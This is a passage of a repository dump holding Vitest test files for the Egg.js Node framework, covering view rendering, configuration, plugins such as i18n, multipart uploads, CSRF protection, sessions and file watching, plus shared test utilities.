    "content": "import { strict as assert } from 'node:assert';\nimport path from 'node:path';\n\nimport { ViewEngineBase } from '@eggjs/view';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { type MockApplication, createApp, getFilepath } from '../../utils.ts';\n\ndescribe('multiple view engine', () => {\n  const baseDir = getFilepath('apps/multiple-view-engine');\n  let app: MockApplication;\n  beforeAll(() => {\n    app = createApp('apps/multiple-view-engine');\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  describe('use', () => {\n    it('should register success', () => {\n      class View extends ViewEngineBase {\n        async render() {\n          return '';\n        }\n        async renderString() {\n          return '';\n        }\n      }\n      app.view.use('e', View);\n      // assert(app.view.has('e'));\n    });\n  });\n\n  describe('render', () => {\n    it('should render ejs', async () => {\n      const res = await app.httpRequest().get('/render-ejs').expect(200);\n\n      assert(res.body.filename === path.join(baseDir, 'app/view/ext/a.ejs'));\n      assert(res.body.locals.data === 1);\n      assert(res.body.options.opt === 1);\n      assert(res.body.type === 'ejs');\n    });\n\n    it('should render nunjucks', async () => {\n      const res = await app.httpRequest().get('/render-nunjucks').expect(200);\n\n      assert(res.body.filename === path.join(baseDir, 'app/view/ext/a.nj'));\n      assert(res.body.locals.data === 1);\n      assert(res.body.options.opt === 1);\n      assert(res.body.type === 'nunjucks');\n    });\n\n    it('should render with options.viewEngine', async () => {\n      const res = await app.httpRequest().get('/render-with-options').expect(200);\n\n      assert(res.body.filename === path.join(baseDir, 'app/view/ext/a.nj'));\n      assert(res.body.type === 'ejs');\n    });\n  });\n\n  describe('renderString', () => {\n    it('should renderString', async () => {\n      const res = await app.httpRequest().get('/render-string').expect(200);\n      assert(res.body.tpl === 'hello world');\n      assert(res.body.locals.data === 1);\n      assert(res.body.options.viewEngine === 'ejs');\n      assert(res.body.type === 'ejs');\n    });\n\n    it('should throw when no viewEngine', async () => {\n      await app.httpRequest().get('/render-string-without-view-engine').expect(500);\n    });\n  });\n});\n\ndescribe('nunjucks view', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = createApp('apps/view-render');\n    return app.ready();\n  });\n  beforeAll(() => {\n    app.locals = {\n      copyright: '2014 @ mk2 <br>',\n    };\n  });\n\n  it('should render with options', async () => {\n    const res = await app.httpRequest().get('/').expect(200);\n    assert.equal(\n      String(res.text).replace(/\\r/g, ''),\n      `Hi, mk・2 test-app-helper: test-bar@${app.config.baseDir} raw: <div>dar</div> 2014 @ mk2 &lt;br&gt;\\n`,\n    );\n  });\n\n  it('should render with async function controller', async () => {\n    const res = await app.httpRequest().get('/async').expect(200);\n\n    assert.equal(\n      String(res.text).replace(/\\r/g, ''),\n      `Hi, mk・2 test-app-helper: test-bar@${app.config.baseDir} raw: <div>dar</div> 2014 @ mk2 &lt;br&gt;\\n`,\n    );\n  });\n\n  it('should render have helper instance', async () => {\n    const res = await app.httpRequest().get('/').expect(200);\n\n    assert.equal(\n      String(res.text).replace(/\\r/g, ''),\n      `Hi, mk・2 test-app-helper: test-bar@${app.config.baseDir} raw: <div>dar</div> 2014 @ mk2 &lt;br&gt;\\n`,\n    );\n  });\n\n  it('should render with empty', async () => {\n    const res = await app.httpRequest().get('/empty').expect(200);\n\n    assert.equal(\n      String(res.text).replace(/\\r/g, ''),\n      `Hi,  test-app-helper: test-bar@${app.config.baseDir} raw: <div>dar</div> 2014 @ mk2 &lt;br&gt;\\n`,\n    );\n  });\n\n  it('should render template string', async () => {\n    await app.httpRequest().get('/string').expect(200).expect('templateString');\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/define_config.test.ts",
    "content": "import { describe, it, expect } from 'vitest';\n\nimport { defineConfig, defineConfigFactory, type EggAppInfo, type PartialEggConfig } from '../../src/index.ts';\n\ndescribe('test/lib/define_config.test.ts', () => {\n  describe('defineConfig', () => {\n    it('should work with config object', () => {\n      const config = defineConfig({\n        keys: 'my-keys',\n        middleware: ['cors'],\n        logger: {\n          level: 'DEBUG',\n          consoleLevel: 'DEBUG',\n          disableConsoleAfterReady: true,\n        },\n        customLogger: {\n          myLogger: {\n            file: 'my.log',\n          },\n        },\n        dump: {\n          ignore: new Set(['keys']),\n          timing: {\n            slowBootActionMinDuration: 1000,\n          },\n        },\n        appCustomConfig: {\n          myConfig: 'myConfig',\n        },\n      });\n\n      expect(config).matchSnapshot();\n      expect(config.appCustomConfig.myConfig).toBe('myConfig');\n    });\n\n    it('should work with config factory function', () => {\n      const configFactory = defineConfigFactory((appInfo) => ({\n        keys: appInfo.name + '_keys',\n        middleware: [],\n        env: appInfo.env,\n        logger: {\n          level: 'DEBUG',\n          consoleLevel: 'WARN',\n        },\n        appCustomConfig: {\n          myConfig: 'myConfig',\n        },\n      }));\n\n      expect(configFactory).toBeInstanceOf(Function);\n\n      const mockAppInfo = {\n        name: 'testapp',\n        baseDir: '/tmp/testapp',\n        env: 'unittest',\n        HOME: '/home/test',\n        pkg: { name: 'testapp', version: '1.0.0' },\n        root: '/tmp',\n      } as unknown as EggAppInfo;\n\n      const result = configFactory(mockAppInfo);\n      expect(result).matchSnapshot();\n    });\n\n    it('should work with mixed config and bizConfig', () => {\n      const configFactory = defineConfigFactory((appInfo: EggAppInfo) => {\n        const config: PartialEggConfig = {\n          keys: appInfo.name + '_keys',\n          middleware: [] as string[],\n          logger: {\n            level: 'DEBUG',\n            consoleLevel: 'INFO',\n            disableConsoleAfterReady: true,\n          },\n        };\n\n        const bizConfig = {\n          sourceUrl: `https://example.com/${appInfo.name}`,\n          customSetting: true,\n        };\n\n        return {\n          ...config,\n          ...bizConfig,\n        };\n      });\n\n      expect(configFactory).toBeInstanceOf(Function);\n\n      const mockAppInfo = {\n        name: 'myapp',\n        baseDir: '/tmp/myapp',\n        env: 'local',\n        HOME: '/home/test',\n        pkg: { name: 'myapp', version: '1.0.0' },\n        root: '/tmp',\n      } as unknown as EggAppInfo;\n\n      const result = configFactory(mockAppInfo);\n      expect(result).matchSnapshot();\n    });\n\n    it('should preserve type safety for built-in config options', () => {\n      // This test ensures TypeScript compilation works correctly with defineConfig\n      const config = defineConfig({\n        keys: 'test-key',\n        middleware: ['cors', 'bodyParser'],\n        logger: {\n          level: 'DEBUG',\n          consoleLevel: 'INFO',\n        },\n        httpclient: {\n          timeout: 5000,\n        },\n      });\n\n      expect(config).matchSnapshot();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/plugins/depd.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { type MockApplication, createApp } from '../../utils.ts';\n\ndescribe.skipIf(process.platform === 'win32')('test/lib/plugins/depd.test.ts', () => {\n  afterEach(mm.restore);\n\n  let app: MockApplication;\n  beforeAll(() => {\n    app = createApp('apps/demo');\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should use this.locals instead of this.state', () => {\n    const ctx = app.mockContext();\n    ctx.locals.test = 'aaa';\n    assert.deepEqual(ctx.locals, ctx.state);\n    assert.deepEqual(ctx.locals.test, ctx.state.test);\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/plugins/development.test.ts",
    "content": "import fs from 'node:fs';\nimport path from 'node:path';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { type MockApplication, createApp, cluster, getFilepath } from '../../utils.ts';\n\ndescribe('test/lib/plugins/development.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe('development app', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.env('local');\n      mm(process.env, 'EGG_LOG', 'none');\n      app = createApp('apps/development');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should ignore assets', async () => {\n      mm(app.logger, 'info', (msg: string) => {\n        if (msg.match(/status /)) {\n          throw new Error('should not log status');\n        }\n      });\n\n      await app.httpRequest().get('/foo.js').expect(200);\n\n      await app.httpRequest().get('/public/hello').expect(404);\n\n      await app.httpRequest().get('/assets/hello').expect(404);\n\n      await app.httpRequest().get('/__koa_mock_scene_toolbox/hello').expect(404);\n    });\n  });\n\n  describe.skip('reload workers', () => {\n    let app: MockApplication;\n    const baseDir = getFilepath('apps/reload-worker');\n    const filepath = path.join(baseDir, 'app/controller/home.js');\n    const body = fs.readFileSync(filepath);\n\n    beforeAll(() => {\n      mm.env('local');\n      app = cluster('apps/reload-worker');\n      // app.debug();\n      app.coverage(false);\n      return app.ready();\n    });\n    afterAll(() => app.close());\n    afterAll(() => {\n      fs.writeFileSync(filepath, body);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/plugins/i18n.test.ts",
    "content": "import { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { type MockApplication, createApp } from '../../utils.ts';\n\ndescribe('test/lib/plugins/i18n.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = createApp('apps/i18n');\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  describe('ctx.__(key, value)', () => {\n    it('should return locale de', () => {\n      return app\n        .httpRequest()\n        .get('/message?locale=de')\n        .expect(200)\n        .expect('Set-Cookie', /locale=de; path=\\/; max-age=\\d+; expires=[^;]+ GMT/)\n        .expect({\n          message: 'Hallo fengmk2, wie geht es dir heute? Wie war dein 18.',\n          empty: '',\n          notexists_key: 'key not exists',\n          empty_string: '',\n          novalue: 'key %s ok',\n          arguments3: '1 2 3',\n          arguments4: '1 2 3 4',\n          arguments5: '1 2 3 4 5',\n          arguments6: '1 2 3 4 5. 6',\n          values: 'foo bar foo bar {2} {100}',\n        });\n    });\n  });\n\n  describe('view render with __(key, value)', () => {\n    it('should render with default locale: en-US', () => {\n      return app\n        .httpRequest()\n        .get('/')\n        .expect(200)\n        .expect('Set-Cookie', /locale=en-us; path=\\/; max-age=\\d+; expires=[^;]+ GMT/)\n        .expect(/^<li>Email: <\\/li>\\r?\\n<li>Hello fengmk2, how are you today\\?<\\/li>\\r?\\n<li>foo bar<\\/li>\\r?\\n$/);\n    });\n\n    it('should render with query locale: zh_CN', () => {\n      return app\n        .httpRequest()\n        .get('/?locale=zh_CN')\n        .set('Host', 'foo.example.com')\n        .expect(200)\n        .expect('Set-Cookie', /locale=zh-cn; path=\\/; max-age=\\d+; expires=[^;]+ GMT/)\n        .expect(/^<li>邮箱: <\\/li>\\r?\\n<li>fengmk2，今天过得如何？<\\/li>\\r?\\n<li>foo bar<\\/li>\\r?\\n$/);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/plugins/multipart.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { request } from '@eggjs/supertest';\nimport formstream from 'formstream';\nimport urllib from 'urllib';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, type MockApplication, getFilepath } from '../../utils.ts';\n\ndescribe('test/lib/plugins/multipart.test.ts', () => {\n  let app: MockApplication;\n  let csrfToken: string;\n  let cookies: string;\n  let host: string;\n  let server: any;\n  beforeAll(async () => {\n    app = createApp('apps/multipart');\n    await app.ready();\n  });\n\n  beforeAll(async () => {\n    server = app.listen();\n    const res = await request(server).get('/').expect(200);\n    csrfToken = res.headers['x-csrf'];\n    cookies = (res.headers['set-cookie'] as any).join(';');\n    host = `http://127.0.0.1:${server.address().port}`;\n  });\n\n  afterAll(async () => {\n    server.close();\n    await app.close();\n  });\n\n  it('should upload with csrf', async () => {\n    const form = formstream();\n    // form.file('file', filepath, filename);\n    form.file('file', getFilepath('../../package.json'));\n    // other form fields\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    // https://snyk.io/vuln/npm:qs:20170213\n    form.field('[', 'toString');\n\n    const headers = form.headers();\n    headers.Cookie = cookies;\n    const res = await urllib.request(`${host}/upload?_csrf=${csrfToken}`, {\n      method: 'POST',\n      headers,\n      stream: form as any,\n      dataType: 'json',\n    });\n    assert.equal(res.statusCode, 200);\n    const data = res.data;\n    // console.log(data);\n    assert.equal(data.filename, 'package.json');\n    assert.deepEqual(data.fields, {\n      foo: 'fengmk2',\n      love: 'egg',\n      '[': 'toString',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/plugins/onerror.test.ts",
    "content": "import { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { createApp, type MockApplication } from '../../utils.ts';\n\ndescribe('test/lib/plugins/onerror.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    mm.env('local');\n    mm(process.env, 'EGG_LOG', 'NONE');\n    app = createApp('apps/onerror');\n    return app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  it('should redirect to error page', () => {\n    mm(app.config, 'env', 'test');\n    return app.httpRequest().get('/?status=500').expect('Location', 'http://eggjs.org/500?real_status=500').expect(302);\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/plugins/security.test.ts",
    "content": "import { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { createApp, type MockApplication } from '../../utils.js';\n\ndescribe('test/lib/plugins/security.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe('security.csrf = false', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/csrf-disable');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should not check csrf', async () => {\n      await app.httpRequest().post('/api/user').send({ name: 'fengmk2' }).expect(200).expect({\n        url: '/api/user',\n        name: 'fengmk2',\n      });\n    });\n  });\n\n  describe('security.csrf = true', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = createApp('apps/csrf-enable');\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should check csrf', async () => {\n      await app\n        .httpRequest()\n        .post('/api/user')\n        .send({ name: 'fengmk2' })\n        .expect(403)\n        .expect(/missing csrf token/);\n    });\n  });\n\n  describe('security.csrfIgnore', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = createApp('apps/csrf-ignore');\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should not check csrf on /api/*', async () => {\n      await app.httpRequest().post('/api/user').send({ name: 'fengmk2' }).expect(200).expect({\n        url: '/api/user',\n        name: 'fengmk2',\n      });\n    });\n\n    it('should not check csrf on /api/*.json', async () => {\n      await app.httpRequest().post('/api/user.json').send({ name: 'fengmk2' }).expect(200).expect({\n        url: '/api/user.json',\n        name: 'fengmk2',\n      });\n    });\n\n    it('should check csrf on other.json', async () => {\n      // use prod env to ignore extends properties like frames\n      mm(app.config, 'env', 'prod');\n      await app\n        .httpRequest()\n        .post('/apiuser.json')\n        .set('accept', 'application/json')\n        .send({ name: 'fengmk2' })\n        .expect({\n          message: 'missing csrf token',\n        })\n        .expect(403);\n    });\n\n    it('should check csrf on other', async () => {\n      await app\n        .httpRequest()\n        .post('/apiuser')\n        .send({ name: 'fengmk2' })\n        .expect(/missing csrf token/)\n        .expect(403);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/plugins/session.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { createApp, type MockApplication } from '../../utils.ts';\n\ndescribe('test/lib/plugins/session.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = createApp('apps/koa-session');\n    await app.ready();\n  });\n  afterAll(async () => {\n    await app.close();\n  });\n  afterEach(mm.restore);\n\n  it('should work when userId change', async () => {\n    app.mockContext({\n      userId: 's1',\n    });\n    let res = await app\n      .httpRequest()\n      .get('/?uid=1')\n      .expect({\n        userId: 's1',\n        sessionUid: '1',\n        uid: '1',\n      })\n      .expect(200);\n\n    assert(res.headers['set-cookie']);\n    const cookie = (res.headers['set-cookie'] as any).join(';');\n    assert(/EGG_SESS=[\\w-]+/.test(cookie));\n\n    // userId 不变，还是读取到上次的 session 值\n    app.mockContext({\n      userId: 's1',\n    });\n    res = await app\n      .httpRequest()\n      .get('/?uid=2&userId=s1')\n      .set('Cookie', cookie)\n      .expect({\n        userId: 's1',\n        sessionUid: '1',\n        uid: '2',\n      })\n      .expect(200);\n    assert(!res.headers['set-cookie']);\n\n    // userId change, session still not change\n    app.mockContext({\n      userId: 's2',\n    });\n    await app\n      .httpRequest()\n      .get('/?uid=2')\n      .set('Cookie', cookie)\n      .expect({\n        userId: 's2',\n        sessionUid: '1',\n        uid: '2',\n      })\n      .expect((res) => {\n        assert(!res.headers['set-cookie']);\n      })\n      .expect(200);\n\n    await app\n      .httpRequest()\n      .get('/clear')\n      .set('Cookie', cookie)\n      .expect('set-cookie', /EGG_SESS=;/);\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/plugins/static.test.ts",
    "content": "import { describe, it, beforeAll } from 'vitest';\n\nimport { createApp, type MockApplication } from '../../utils.js';\n\ndescribe('test/lib/plugins/static.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = createApp('apps/static-server');\n    return app.ready();\n  });\n\n  it('should get exists js file', () => {\n    return app\n      .httpRequest()\n      .get('/public/foo.js')\n      .expect(/alert\\('bar'\\);\\r?\\n/)\n      .expect(200);\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/plugins/watcher.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, beforeEach, afterEach, beforeAll, afterAll } from 'vitest';\n\nimport { cluster, type MockApplication, getFilepath } from '../../utils.ts';\n\nconst file_path1 = getFilepath('apps/watcher-development-app/tmp.txt');\nconst file_path2 = getFilepath('apps/watcher-development-app/tmp/tmp.txt');\nconst file_path1_agent = getFilepath('apps/watcher-development-app/tmp-agent.txt');\n\ndescribe('test/lib/plugins/watcher.test.ts', () => {\n  describe('default', () => {\n    let app: MockApplication;\n    beforeEach(() => {\n      app = cluster('apps/watcher-development-app');\n      app.coverage(false);\n      return app.ready();\n    });\n\n    afterEach(() => app.close());\n    afterEach(mm.restore);\n\n    it('should app watcher work', async () => {\n      let count = 0;\n\n      await app.httpRequest().get('/app-watch').expect(200).expect('app watch success');\n\n      await scheduler.wait(5000);\n      fs.writeFileSync(file_path1, 'aaa');\n      await scheduler.wait(5000);\n\n      await app\n        .httpRequest()\n        .get('/app-msg')\n        .expect(200)\n        .expect(function (res) {\n          const lastCount = count;\n          count = parseInt(res.text);\n          assert(count > lastCount, `count: ${count}, lastCount: ${lastCount}`);\n        });\n\n      fs.writeFileSync(file_path2, 'aaa');\n      await scheduler.wait(5000);\n\n      await app\n        .httpRequest()\n        .get('/app-msg')\n        .expect(200)\n        .expect(function (res) {\n          const lastCount = count;\n          count = parseInt(res.text);\n          assert(count > lastCount, `count: ${count}, lastCount: ${lastCount}`);\n        });\n    });\n\n    it.skip('should agent watcher work', async () => {\n      let count = 0;\n      await app.httpRequest().get('/agent-watch').expect(200).expect('agent watch success');\n\n      fs.writeFileSync(file_path1_agent, 'bbb');\n      await scheduler.wait(5000);\n\n      await app\n        .httpRequest()\n        .get('/agent-msg')\n        .expect(200)\n        .expect((res) => {\n          const lastCount = count;\n          count = parseInt(res.text);\n          assert(count > lastCount);\n        });\n    });\n  });\n\n  describe('config.watcher.type is default', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = cluster('apps/watcher-type-default');\n      app.coverage(false);\n      return app.ready();\n    });\n\n    afterAll(() => app.close());\n\n    it('should warn user', async () => {\n      await scheduler.wait(3000);\n      const logPath = getFilepath('apps/watcher-type-default/logs/watcher-type-default/egg-agent.log');\n      const content = fs.readFileSync(logPath, 'utf8');\n      assert.match(content, /defaultEventSource watcher will NOT take effect/);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/start.test.ts",
    "content": "import { describe } from 'vitest';\n\n// import utils from '../utils';\n// import assert from 'assert';\n// import path from 'path';\n\n// let app;\n\ndescribe.skip('test/lib/start.test.js', () => {\n  //   afterEach(() => app.close());\n  //   describe('start', () => {\n  //     it('should dump config and plugins', async () => {\n  //       app = await utils.singleProcessApp('apps/demo');\n  //       const baseDir = utils.getFilepath('apps/demo');\n  //       let json = require(path.join(baseDir, 'run/agent_config.json'));\n  //       assert(/\\d+\\.\\d+\\.\\d+/.test(json.plugins.onerror.version));\n  //       assert(json.config.name === 'demo');\n  //       assert(json.config.tips === 'hello egg');\n  //       json = require(path.join(baseDir, 'run/application_config.json'));\n  //       checkApp(json);\n  //       const dumpped = app.dumpConfigToObject();\n  //       checkApp(dumpped.config);\n  //       function checkApp(json) {\n  //         assert(/\\d+\\.\\d+\\.\\d+/.test(json.plugins.onerror.version));\n  //         assert(json.config.name === 'demo');\n  //         // should dump dynamic config\n  //         assert(json.config.tips === 'hello egg started');\n  //       }\n  //     });\n  //     it('should request work', async () => {\n  //       app = await utils.singleProcessApp('apps/demo');\n  //       await app.httpRequest().get('/protocol')\n  //         .expect(200)\n  //         .expect('http');\n  //       await app.httpRequest().get('/class-controller')\n  //         .expect(200)\n  //         .expect('this is bar!');\n  //     });\n  //     it('should env work', async () => {\n  //       app = await utils.singleProcessApp('apps/demo', { env: 'prod' });\n  //       assert(app.config.env === 'prod');\n  //     });\n  //   });\n  //   describe('custom framework work', () => {\n  //     it('should work with options.framework', async () => {\n  //       app = await utils.singleProcessApp('apps/demo', { framework: path.join(__dirname, '../fixtures/custom-egg') });\n  //       assert(app.customEgg);\n  //       await app.httpRequest().get('/protocol')\n  //         .expect(200)\n  //         .expect('http');\n  //       await app.httpRequest().get('/class-controller')\n  //         .expect(200)\n  //         .expect('this is bar!');\n  //     });\n  //     it('should work with package.egg.framework', async () => {\n  //       app = await utils.singleProcessApp('apps/custom-framework-demo');\n  //       assert(app.customEgg);\n  //       await app.httpRequest().get('/protocol')\n  //         .expect(200)\n  //         .expect('http');\n  //       await app.httpRequest().get('/class-controller')\n  //         .expect(200)\n  //         .expect('this is bar!');\n  //     });\n  //   });\n});\n"
  },
  {
    "path": "packages/egg/test/typescript.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { type MockApplication, createApp } from './utils.ts';\n\ndescribe.skip('test/typescript.test.ts', () => {\n  describe('compiler code', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      // await coffee.fork(\n      //   importResolve('typescript/bin/tsc'),\n      //   [\n      //     '-b', '--clean',\n      //   ],\n      //   {\n      //     cwd: getFilepath('apps/app-ts'),\n      //   },\n      // )\n      //   .debug()\n      //   .expect('code', 0)\n      //   .end();\n\n      // await coffee.fork(\n      //   importResolve('typescript/bin/tsc'),\n      //   [ '-p', getFilepath('apps/app-ts/tsconfig.json') ],\n      //   {\n      //     cwd: getFilepath('apps/app-ts'),\n      //   },\n      // )\n      //   .debug()\n      //   .expect('code', 0)\n      //   .end();\n\n      app = createApp('apps/app-ts');\n      await app.ready();\n    });\n\n    afterAll(async () => {\n      await app.close();\n      assert.deepStrictEqual(app._app.stages, [\n        'configWillLoad',\n        'configDidLoad',\n        'didLoad',\n        'willReady',\n        'didReady',\n        'serverDidReady',\n        'beforeClose',\n      ]);\n    });\n\n    it('controller run ok', async () => {\n      await app.httpRequest().get('/foo').expect(200).expect({ env: 'unittest' });\n    });\n\n    it('controller of app.router run ok', async () => {\n      await app.httpRequest().get('/test').expect(200).expect({ env: 'unittest' });\n    });\n  });\n\n  describe('type check', () => {\n    // it('should compile with esModuleInterop without error', async () => {\n    //   await coffee.fork(\n    //     importResolve('typescript/bin/tsc'),\n    //     [ '-p', getFilepath('apps/app-ts-esm/tsconfig.json') ],\n    //   )\n    //     .debug()\n    //     .expect('code', 0)\n    //     .end();\n    // });\n    // it('should compile type-check ts without error', async () => {\n    //   await coffee.fork(\n    //     importResolve('typescript/bin/tsc'),\n    //     [ '-p', getFilepath('apps/app-ts-type-check/tsconfig.json') ],\n    //   )\n    //     .debug()\n    //     .expect('code', 0)\n    //     .end();\n    // });\n    // it('should throw error with type-check-error ts', async () => {\n    //   await coffee.fork(\n    //     importResolve('typescript/bin/tsc'),\n    //     [ '-p', getFilepath('apps/app-ts-type-check/tsconfig-error.json') ],\n    //   )\n    //     // .debug()\n    //     .expect('stdout', /Property 'ctx' is protected/)\n    //     .expect('stdout', /Property 'localsCheckAny' does not exist on type 'string'/)\n    //     .expect('stdout', /Property 'configKeysCheckAny' does not exist on type 'string'/)\n    //     .expect('stdout', /Property 'appCheckAny' does not exist on type 'Application'/)\n    //     .expect('stdout', /Property 'serviceLocalCheckAny' does not exist on type 'string'/)\n    //     .expect('stdout', /Property 'serviceConfigCheckAny' does not exist on type 'string'/)\n    //     .expect('stdout', /Property 'serviceAppCheckAny' does not exist on type 'Application'/)\n    //     .expect('stdout', /Property 'checkSingleTon' does not exist/)\n    //     .expect('stdout', /Property 'directory' is missing in type '{}' but required in type 'CustomLoaderConfig'/)\n    //     .notExpect('stdout', /Cannot find module 'yadan'/)\n    //     .expect('stdout', /Expected 1 arguments, but got 0\\./)\n    //     .expect('stdout', /Expected 0-1 arguments, but got 2\\./)\n    //     .expect('code', 2)\n    //     .end();\n    // });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/urllib.test.ts",
    "content": "import { test, expect } from 'vitest';\n\nimport * as urllib from '../src/urllib.ts';\n\ntest('should expose properties', () => {\n  expect(Object.keys(urllib).sort()).toMatchSnapshot();\n\n  expect(typeof urllib.MockAgent).toBe('function');\n});\n"
  },
  {
    "path": "packages/egg/test/utils.ts",
    "content": "import { once } from 'node:events';\nimport { readFileSync } from 'node:fs';\nimport { rm } from 'node:fs/promises';\nimport http from 'node:http';\nimport { type AddressInfo } from 'node:net';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { Application as Koa } from '@eggjs/koa';\nimport { mm, type MockOptions, type MockClusterOptions, type MockApplication } from '@eggjs/mock';\nimport { request } from '@eggjs/supertest';\n\nimport { startEgg, type StartEggOptions, type SingleModeAgent } from '../src/index.ts';\n\nconst __dirname = import.meta.dirname;\nconst fixtures = path.join(__dirname, 'fixtures');\nconst eggPath = path.join(__dirname, '..');\n\nexport async function rimraf(target: string): Promise<void> {\n  await rm(target, { force: true, recursive: true });\n}\n\nexport { mm };\nexport type { MockApplication, MockOptions, MockClusterOptions };\nexport interface SingleModeApplication extends MockApplication {\n  agent: SingleModeAgent & MockApplication['agent'];\n}\n\nexport const restore: () => void = () => mm.restore();\n\nexport function app(name: string | MockOptions, options?: MockOptions): MockApplication {\n  options = formatOptions(name, options);\n  const app = mm.app(options);\n  return app;\n  // return app as unknown as MockApplication;\n}\n\nexport const createApp: typeof app = app;\n\n/**\n * start app with cluster mode\n *\n * @param {String} name - cluster name.\n * @param {Object} [options] - optional\n * @return {App} app - Application object.\n */\nexport function cluster(name: string | MockClusterOptions, options?: MockClusterOptions): MockApplication {\n  options = formatOptions(name, options);\n  return mm.cluster(options) as unknown as MockApplication;\n}\n\n/**\n * start app with single process mode\n *\n * @param {String} baseDir - base dir.\n * @param {Object} [options] - optional\n * @return {App} app - Application object.\n */\nexport async function singleProcessApp(baseDir: string, options: StartEggOptions = {}): Promise<SingleModeApplication> {\n  if (!baseDir.startsWith('/')) {\n    baseDir = path.join(__dirname, 'fixtures', baseDir);\n  }\n  options.env = options.env || 'unittest';\n  options.baseDir = baseDir;\n  const app = await startEgg(options);\n  Reflect.set(app, 'httpRequest', () => request(app.callback()));\n  return app as unknown as SingleModeApplication;\n}\n\nlet localServer: http.Server | undefined;\nprocess.once('beforeExit', () => {\n  localServer && localServer.close();\n  localServer = undefined;\n});\nprocess.once('exit', () => {\n  localServer && localServer.close();\n  localServer = undefined;\n});\n\nexport async function startLocalServer(): Promise<string> {\n  if (localServer) {\n    const address = localServer.address() as AddressInfo;\n    return `http://127.0.0.1:${address.port}`;\n  }\n\n  let retry = false;\n  const app = new Koa();\n  app.use(async (ctx) => {\n    if (ctx.path === '/get_headers') {\n      ctx.body = ctx.request.headers;\n      return;\n    }\n\n    if (ctx.path === '/timeout') {\n      await scheduler.wait(10000);\n      ctx.body = `${ctx.method} ${ctx.path}`;\n      return;\n    }\n\n    if (ctx.path === '/error') {\n      ctx.status = 500;\n      ctx.body = 'this is an error';\n      return;\n    }\n\n    if (ctx.path === '/retry') {\n      if (!retry) {\n        retry = true;\n        ctx.status = 500;\n      } else {\n        ctx.set('x-retry', '1');\n        ctx.body = 'retry suc';\n        retry = false;\n      }\n      return;\n    }\n\n    ctx.body = `${ctx.method} ${ctx.path}`;\n  });\n  localServer = http.createServer(app.callback());\n  localServer.listen(0);\n  await once(localServer, 'listening');\n  const address = localServer!.address() as AddressInfo;\n  return `http://127.0.0.1:${address.port}`;\n}\n\nexport function getFilepath(name: string): string {\n  return path.join(fixtures, name);\n}\n\nexport function getJSON(name: string): any {\n  return JSON.parse(readFileSync(getFilepath(name), 'utf-8'));\n}\n\nfunction formatOptions(name: string | MockOptions, options?: MockOptions) {\n  let baseDir: string;\n  if (typeof name === 'string') {\n    baseDir = name;\n  } else {\n    // name is options\n    options = name;\n    baseDir = options.baseDir!;\n  }\n  if (!baseDir.startsWith('/')) {\n    baseDir = path.join(__dirname, 'fixtures', baseDir);\n  }\n  return {\n    baseDir,\n    framework: eggPath,\n    cache: false,\n    // change default mockCtxStorage to false because we don't need it in framework test\n    mockCtxStorage: false,\n    ...options,\n  };\n}\n\nexport async function startNewLocalServer(ip = '127.0.0.1'): Promise<{\n  url: string;\n  server: http.Server;\n}> {\n  let localServer: http.Server;\n  return new Promise((resolve, reject) => {\n    const app = new Koa();\n    app.use(async (ctx) => {\n      if (ctx.path === '/get_headers') {\n        ctx.body = {\n     